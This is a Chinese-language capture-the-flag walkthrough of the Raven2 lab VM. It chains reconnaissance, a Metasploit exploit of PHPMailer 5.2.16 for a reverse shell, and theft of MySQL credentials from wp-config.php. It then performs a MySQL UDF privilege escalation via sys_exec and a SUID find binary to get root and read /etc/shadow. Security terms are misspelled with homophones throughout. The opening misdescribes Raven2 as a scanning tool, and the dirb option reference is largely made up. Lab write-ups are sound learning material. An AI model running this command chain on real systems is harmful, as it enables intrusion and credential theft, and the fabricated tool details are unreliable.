Raven2信息搜集

Raven2是一款信息搜集工具,主要用于渗头测试前的信息搜集阶段。以下是关于Raven2的一些基本信息和使用方法:

功能特点

  1. IP地址获取:通过各种手段获取目标的IP地址。
  2. 端口扫描:使用Nmap进行详细的端口扫描,了解开放的端口和服务。
  3. Web扫描:使用御剑等工具扫描网站的目录和文件,寻找敏感信息和潜在漏东。
  4. 邮件信息搜集:通过PHPMailer等工具搜集目标网站的邮件配置信息及其版本。
  5. 目录扫描:使用DirB等工具扫描网站目录,寻找隐藏的文件和目录。
  6. 漏东探测:利用Nmap等工具探测目标系统中存在的已知漏东。

使用方法

  1. 准备工作
  • 确保你有足够的权限来运行Raven2。
  • 安装所需的依赖工具,如Nmap、御剑、DirB等。
  1. 运行Raven2
  • 启动Raven2并输入目标IP地址或域名。
  • 根据提示选择需要执行的信息搜集任务,如端口扫描、Web扫描等。
  1. 查看结果
  • Raven2会将搜集到的信息显示在屏幕上,并可能生成报告文件供后续分析使用。

示例流程

  1. 获取IP地址
  • 使用在线查询工具或DNS解析工具获取目标的IP地址。
  1. 端口扫描
  • 使用Nmap进行详细的端口扫描,例如:
nmap -v -A <target_ip>
  • Web扫描
  • 使用御剑扫描网站目录,例如:
dirb http://<target_ip>
  • 邮件信息搜集
  • 使用PHPMailer等工具搜集邮件配置信息,例如:
php -f phpmailer.php <target_ip>
  • 目录扫描
  • 使用DirB扫描网站目录,寻找隐藏的文件和目录,例如:
dirb http://<target_ip>
  • 漏东探测
  • 使用Nmap等工具探测目标系统中存在的已知漏东,例如:
nmap --script=vuln <target_ip>

nmap扫描

nmap -sS -sV -A -n 192.168.0.106

该命令是使用Nmap网络扫描工具进行主机和服务发现的具体指令。下面是该命令中每个选项的含义:

  • nmap:这是调用Nmap工具的命令。
  • -sS:使用TCP SYN扫描(又称半开放扫描),这种扫描方式不会完全建立TCP连接,仅发送SYN包并等待响应,适用于快速扫描大量端口。
  • -sV:进行服务版本检测,Nmap会尝试确定每个开放端口上运行的服务的名称和版本。
  • -A:执行更全面的扫描,包括操作系统检测、设备类型检测、运行状态检测等。这通常会花费更多时间。
  • -n:不进行DNS反向解析,这样可以加快扫描速度,但可能会导致结果中不显示主机名。
  • 192.168.0.106:这是目标IP地址,Nmap将会对这个IP地址进行扫描。

综上所述,该命令将使用Nmap对IP地址为192.168.0.106的设备进行快速的TCP SYN扫描以发现开放的端口,并进一步检测这些端口上运行的服务的详细信息,同时执行全面的设备检测,但不进行DNS反向解析。

练习

MySQL UDF提权_php

访问PATH

MySQL UDF提权_数据库_02

发现flag

MySQL UDF提权_数据库_03

接着访问VERSION

MySQL UDF提权_数据库_04

发现版本是5.2.16

MySQL UDF提权_mysql_05

点开test发现

有个phpmailerlang的服务结合刚刚发现的5.2.16版本号

MySQL UDF提权_数据库_06

PHPMailer是一个用于发送电子邮件的PHP类库。它支持各种邮件发送方式,包括通过SMTP服务器发送邮件,以及通过邮件传递代理(例如sendmail或qmail)发送邮件。PHPMailer还提供了许多有用的功能,如添加附件、设置邮件头、HTML邮件内容等。

在PHPMailer的5.2.16版本中,有一个已知的安全漏懂,该漏懂允许公鸡者通过精心构造的输入,利用语言文件路径注入公鸡,从而执行任意代码。这个漏东是由安全研究人员在2016年发现的,并被分配了CVE编号CVE-2016-10074。

为了防止这个漏东被利用,建议尽快升级到PHPMailer的最新版本。在升级之前,可以通过禁用PHPMailer的语言文件功能,或者修改代码以防止路径注入公鸡,来临时缓解这个问题。

如果你正在使用PHPMailer的5.2.16版本,强烈建议你尽快升级到最新的版本,以保护你的系统免受潜在的安全威胁。同时,也要注意定期更新你使用的第三方库和组件,以确保系统的安全性。

MySQL UDF提权_php_07

点击这个跳转会跳转到local,是个本机的页面

MySQL UDF提权_mysql_08

打开kali终端,修改hosts

MySQL UDF提权_php_09

将刚才的ip地址和域名进行绑定

加一行

192.168.231.129 raven.local

MySQL UDF提权_php_10

然后刷新页面

MySQL UDF提权_php_11

就跳转到了一个全新的页面

MySQL UDF提权_mysql_12

如果安装了这个插件wappalyzer就可以直接识别cms的web服务器、数据库、网站主键的版本。

不过通过burp抓包也可看到对应的版本信息

MySQL UDF提权_php_13

结果是wp是4.8.19版本的

dirb扫描后台

dirb是一个强大的工具,用于扫描Web服务器上的目录和文件。下面详细介绍dirb的基本用法和一些进阶技巧。

基本用法

  1. 基本语法
dirb [options] URL
  1. 常用选项
  • -w 或 --no-www:不尝试添加“www.”前缀。
  • -r 或 --recursive:递归地扫描子目录。
  • -i 或 --include:包含指定的文件扩展名。
  • -e 或 --exclude:排除指定的文件扩展名。
  • -o FILE 或 --output=FILE:将输出保存到文件。
  • -x DIR 或 --exclude-dir=DIR:排除指定的目录。
  1. 示例命令
  • 扫描一个网站的所有目录和文件:
dirb http://example.com/
  • 使用自定义字典文件进行扫描:
dirb http://example.com/ -w -r -i .php,.txt -e .jpg,.gif -o output.txt
  • 使用默认字典文件进行扫描:
dirb http://example.com/ -w -r

进阶用法

  1. 使用自定义字典dirb允许用户使用自定义的字典文件来指定要尝试的目录和文件名。你可以创建一个包含常见目录和文件名的文本文件,然后使用-f--file选项指定该文件。
dirb http://example.com/ -f mydict.txt
  1. 线程和速度控制
  • --threads=NUM:指定扫描的线程数,默认是5。
  • --speed=NUM:指定每秒发送的请求数量,默认是10。
  1. 代理设置: 如果你需要通过代理服务器进行扫描,可以使用--proxy选项。
dirb http://example.com/ --proxy=http://proxy.example.com:8080
  1. 用户代理设置: 有时你可能需要伪装成不同的用户代理来进行扫描,可以使用--user-agent选项。
dirb http://example.com/ --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
  1. 错误码处理: 你可以使用--status-codes选项来指定哪些HTTP状态码被认为是成功的。
dirb http://example.com/ --status-codes=200,403
  1. 结合其他工具: 例如,你可以使用grep来过滤输出结果,或者使用sed来修改输出格式。

dirb示例

基本扫描示例

  1. 扫描一个网站的所有目录和文件
dirb http://example.com/
  1. 使用自定义字典文件进行扫描
dirb http://example.com/ -f /path/to/custom.dict
  1. 递归扫描并包含特定扩展名
dirb http://example.com/ -r -i .php,.html

进阶扫描示例

  1. 使用多个线程加速扫描
dirb http://example.com/ --threads=10
  1. 限制每秒请求数量
dirb http://example.com/ --speed=20
  1. 通过代理服务器进行扫描
dirb http://example.com/ --proxy=http://proxy.example.com:8080
  1. 设置自定义用户代理
dirb http://example.com/ --user-agent="My Custom User-Agent"
  1. 指定HTTP状态码
dirb http://example.com/ --status-codes=200,403
  1. 输出结果到文件
dirb http://example.com/ > output.txt
  1. 结合其他工具进行过滤
dirb http://example.com/ | grep ".php"

注意事项

  • 在使用dirb时,请确保你有权限扫描目标网站,否则可能会违反法律和道德规范。
  • 大量的请求可能会导致网站服务器负载增加,甚至可能触发网站的防护机制,导致你的IP地址被封锁。

通过这些示例,你可以更好地理解如何使用dirb进行Web目录扫描,并根据具体需求调整扫描参数,提高扫描效率和准确性。

Raven2漏东利用

MySQL UDF提权_php_14

打开msf

寻找PHPMailer 5.2.16 有关的的exp

search phpmailer

或者

searchsploit phpmailer

MySQL UDF提权_php_15

exploit/multi/http/phpmailer_arg_injection

MySQL UDF提权_数据库_16

1.远程地址

MySQL UDF提权_mysql_17

set RHOSTS 192.168.231.129

2.应用路径

目前不太清楚,所以需要结合百度或者谷歌来搜索查询

MySQL UDF提权_php_18

set TARGETURI /contact.php

3.网站根目录

MySQL UDF提权_数据库_19

根据前期的路径爆破可以得出使用的中间件是apache,所以路径如下

set WEB_ROOT /var/www/html

然后在看一下设置是否正确

show options

看一下这三个位置是否都输入正确

MySQL UDF提权_php_20

知识点:PHPMailer < 5.2.18版本存在安全漏东,可使未经身份验证的远程公鸡者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

确认正确之后输入run进行公鸡

生成的文件名可能是随机的,我们需要用浏览器去访问这个文件,这样就能运行响应的php文件,进而产生反弹shell的效果。

MySQL UDF提权_数据库_21

生产的后们在图中的位置

可以在主页后面加/再加生成的PHP文件

如果不行的话,停掉监听,然后把靶机重启一下,就一定可以解决问题。

然后run,获得一个新的地址

MySQL UDF提权_mysql_22

不要直接拼接url,先访问主页

MySQL UDF提权_mysql_23

访问完主页后在拼接url,在访问。这样反弹shell就反弹成功了。

MySQL UDF提权_php_24

卡住了就安CTRL+C结束进程

然后输入sessions -l

发现是成功创建的

MySQL UDF提权_php_25

然后直接选择 3,就可以拿到反弹shell了

sessions 3

MySQL UDF提权_php_26

输入shell,看一下是什么权限

shell
id

MySQL UDF提权_php_27

检查系统信息

sysinfo

发现版本是3.16.57-2,这个版本没什么可以利用的

MySQL UDF提权_php_28

继续信息收集

MySQL UDF提权_php_29

ls一下

MySQL UDF提权_mysql_30

发现有个wordpress,查看一下都有什么内容

ls wordpress

MySQL UDF提权_mysql_31

一般配置文件里都有数据库的配置信息

数据库路径、账户密码

查看一下这个config.php 

cat wordpress/wp-config.php

MySQL UDF提权_php_32

然后我们阅读文档就会找到数据库相关的信息

账户root

密码R@v3nSecurity

MySQL UDF提权_mysql_33

到meterpreter输入shell发现权限较低

shell
ls

MySQL UDF提权_mysql_34

输入一段这样的代码来获取一个交互式的shell

python -c 'import pty;pty.spawn("/bin/sh")'

MySQL UDF提权_数据库_35

关于使用python进行公鸡可以参考https://blog.csdn.net/qq_57976347/article/details/123003959

UDF提权

MySQL UDF提权_数据库_36

UDF(User-Defined Function)提权是指在某些数据库管理系统(如MySQL、SQL Server等)中,通过利用用户自定义函数(UDF)的功能来提升公鸡者的权限,从而实现对数据库系统的进一步控制。

在数据库安全领域,提权通常是指公鸡者通过某种手段获得了比原有权限更高的权限,例如从普通用户提升为数据库管理员(DBA)或系统管理员。这种情况下,公鸡者可以执行更多的操作,包括查看、修改或删除敏感数据,甚至可以控制系统本身。

UDF提权的具体方法和效果取决于数据库系统的具体实现和配置。例如,在某些版本的MySQL中,公鸡者可以通过创建一个带有恶意代吗的UDF,然后利用这个UDF来执行操作系统命令,从而实现提权。在SQL Server中,公鸡者也可以通过类似的方法来利用UDF进行提权。

为了防止UDF提权公鸡,数据库管理员应该采取一些安全措施,例如:

  1. 限制权限:尽量不要以高权限的账户(如root或sa)运行数据库服务,而是使用具有有限权限的账户。
  2. 审核和监控:定期审核数据库的日志和活动,以便及时发现和响应可疑行为。
  3. 禁用危险功能:禁用或限制可能导致提权的数据库功能,如UDF的创建和执行。
  4. 更新和补丁:及时更新数据库系统和相关的应用程序,以修补已知的安全漏东。

sqlmap

MySQL UDF提权_mysql_37

使用tree命令查看

tree /usr/share/sqlmap/data/udf/mysql

这个是sqlmap自带的UDF库的位置

MySQL UDF提权_php_38

可以看到这里是分为windows和Linux及32、64位

sqlmap中这些自带的动态链接库为了防止被误杀都是经过编码的处理,不能够直接被使用。

需要使用sqlmap自带的解码工具,来解码以后才可以使用。

解码工具在这里

ls /usr/share/sqlmap/extra/cloak

MySQL UDF提权_php_39

这样一个py的文件

MySQL UDF提权_mysql_40

$ python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

用python解码一下

MySQL UDF提权_mysql_41

可以看到解码回车后,在ls一下,可以看到解码成功了

MySQL UDF提权_数据库_42

也可以看一下文件

MySQL UDF提权_php_43

就是长这样

MySQL UDF提权_mysql_44

msf

msf也有相应的动态库

Metasploit(MSF)是一个强大的开源渗投测试框架,用于开发、测试和执行漏动利用代码。UDF(User-Defined Function)提权是指在某些数据库管理系统中,通过利用用户自定义函数(UDF)的功能来提升公鸡者的权限。

在MSF中,利用UDF进行提权通常涉及以下几个步骤:

  1. 创建UDF:首先,公鸡者需要创建一个带有恶意代吗的UDF。这个UDF通常会被设计成能够执行操作系统命令或其他提权操作。
  2. 加载UDF:接着,公鸡者需要将这个UDF加载到目标数据库中。这通常涉及到利用数据库的某些功能,如LOAD_FILE或动态链接库(DLL)注入。
  3. 执行UDF:最后,公鸡者通过调用这个UDF来执行恶意代吗,从而实现提权。

在MSF中,有一些现成的模块(modules)可以帮助公鸡者执行UDF提权公鸡。例如,exploit/multi/mysql/udf_payload模块就是一个用于MySQL数据库的UDF提权模块。使用这个模块,公鸡者可以自动化地执行上述步骤,从而提升权限。

为了防止UDF提权公鸡,数据库管理员应该采取一些安全措施,例如:

  1. 限制权限:尽量不要以高权限的账户(如root或sa)运行数据库服务,而是使用具有有限权限的账户。
  2. 审核和监控:定期审核数据库的日志和活动,以便及时发现和响应可疑行为。
  3. 禁用危险功能:禁用或限制可能导致提权的数据库功能,如UDF的创建和执行。
  4. 更新和补丁:及时更新数据库系统和相关的应用程序,以修补已知的安全漏动。

总之,UDF提权是一种常见的数据库安全威胁,数据库管理员需要采取适当的措施来保护系统免受这种公鸡。

MySQL UDF提权_mysql_45

tree /usr/share/metasploit-framework/data/exploits/mysql/

然后就可以看到图中内容了,使用框选住的exp

不一样的是msf动态库无需解码直接使用,内容是解码后一模一样的

MySQL UDF提权_mysql_46

输入

mysql -uroot -p

输入密码

就进入到了mysql终端里

MySQL UDF提权_mysql_47

show variables like '%compile%';

查看使用哪个库文件,可以看到是使用的64的

MySQL UDF提权_php_48

show cariables linke 'plugin';

MySQL UDF提权_数据库_49

在MySQL数据库中,SHOW VARIABLES LIKE 'plugin';是一条SQL查询语句,用于显示与plugin相关的系统变量及其值。这条语句通常用于检查MySQL服务器上安装了哪些插件。

SHOW VARIABLES语句用于列出MySQL服务器的所有系统变量,而LIKE 'plugin'部分则是一个模式匹配子句,用于筛选出名称中包含plugin的变量。

执行这条语句后,你将看到类似于以下的输出:

+-------------------------------------------+----------------------------------+
| Variable_name                             | Value                            |
+-------------------------------------------+----------------------------------+
| plugin_dir                                | /usr/lib/mysql/plugin            | 
| sha256_password_auto_generate_rsa_keys    | OFF                              | 
| sha256_password_private_key_path          | private_key.pem                  | 
| sha256_password_public_key_path           | public_key.pem                   | 
| sha256_password_proxy_plugin_dir          |                                  | 
| sha256_password_proxy_plugin_name         |                                  | 
| sha256_password_proxy_private_key_path    | private_key.pem                  | 
| sha256_password_proxy_public_key_path     | public_key.pem                   | 
| sha256_password_proxy_ssl_ca              | ca.pem                           | 
| sha256_password_proxy_ssl_capath          |                                  | 
| sha256_password_proxy_ssl_cert            | client-cert.pem                  | 
| sha256_password_proxy_ssl_cipher          |                                  | 
| sha256_password_proxy_ssl_crl             |                                  | 
| sha256_password_proxy_ssl_crlpath         |                                  | 
| sha256_password_proxy_ssl_key             | client-key.pem                   | 
| sha256_password_proxy_ssl_verify_server_cert | OFF                              |
+-------------------------------------------+----------------------------------+

在这个例子中,plugin_dir变量显示了MySQL插件目录的路径,这是存储MySQL插件文件的地方。其他变量可能与特定的插件(如sha256_password)相关。具体的变量名称和值可能会根据你的MySQL版本和配置有所不同。

MySQL UDF提权_mysql_50

看一下这个插件在具体的哪一个位置

使用msf上传文件

回到meterpreter

MySQL UDF提权_mysql_51

meterpreter > upload /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /usr/lib/mysql/plugin/

MySQL UDF提权_php_52

meterpreter > upload /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so

MySQL UDF提权_mysql_53

打开meterprter的shell

MySQL UDF提权_数据库_54

python -c 'import pty; pty.spawn("/bin/bash")'

进入交互式的shell

MySQL UDF提权_数据库_55

可以看到shell上传成功

MySQL UDF提权_mysql_56

输入以下代码就可以进入mysql了

mysql -u root -pR@v3nSecurity

MySQL UDF提权_mysql_57

show databases;

查看数据库

MySQL UDF提权_php_58

创建一个表

create table myfunc(line blob);

MySQL UDF提权_数据库_59

通过load_file函数来取读取/var/www/lib_mysqludf_sys_64.so文件的内容

insert into myfunc values(load_file('/var/ww/html/lib_mysqludf_sys_64.so'));

MySQL UDF提权_数据库_60

然后使用dumpfile将文件导入到/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so这个目录下,这里要注意,不要敲错了。

select *from myfunc into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf sys_64.so';

MySQL UDF提权_数据库_61

接着创建自定义函数,

create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';

MySQL UDF提权_mysql_62

MySQL UDF提权_mysql_63

查询一下这个函数,发现是创建成功的

select * from mysql.func;

MySQL UDF提权_php_64

使用我们创建的函数来改变find命令的权限

select sys_exec('chmod u+s /usr/bin/find');

MySQL UDF提权_php_65

这个函数已经可以执行root相关命令了

退出数据库

exit

MySQL UDF提权_数据库_66

随便创建一个文件

touch abc

MySQL UDF提权_数据库_67

使用find一建提权

find abc -exec"/bin/sh"\;

MySQL UDF提权_php_68

然后发现$号变成了#号

输入id看一下

MySQL UDF提权_php_69

发现确实拿到了root权限

看一下root权限文件

cat /etc/shadow

MySQL UDF提权_php_70

MySQL UDF提权_数据库_71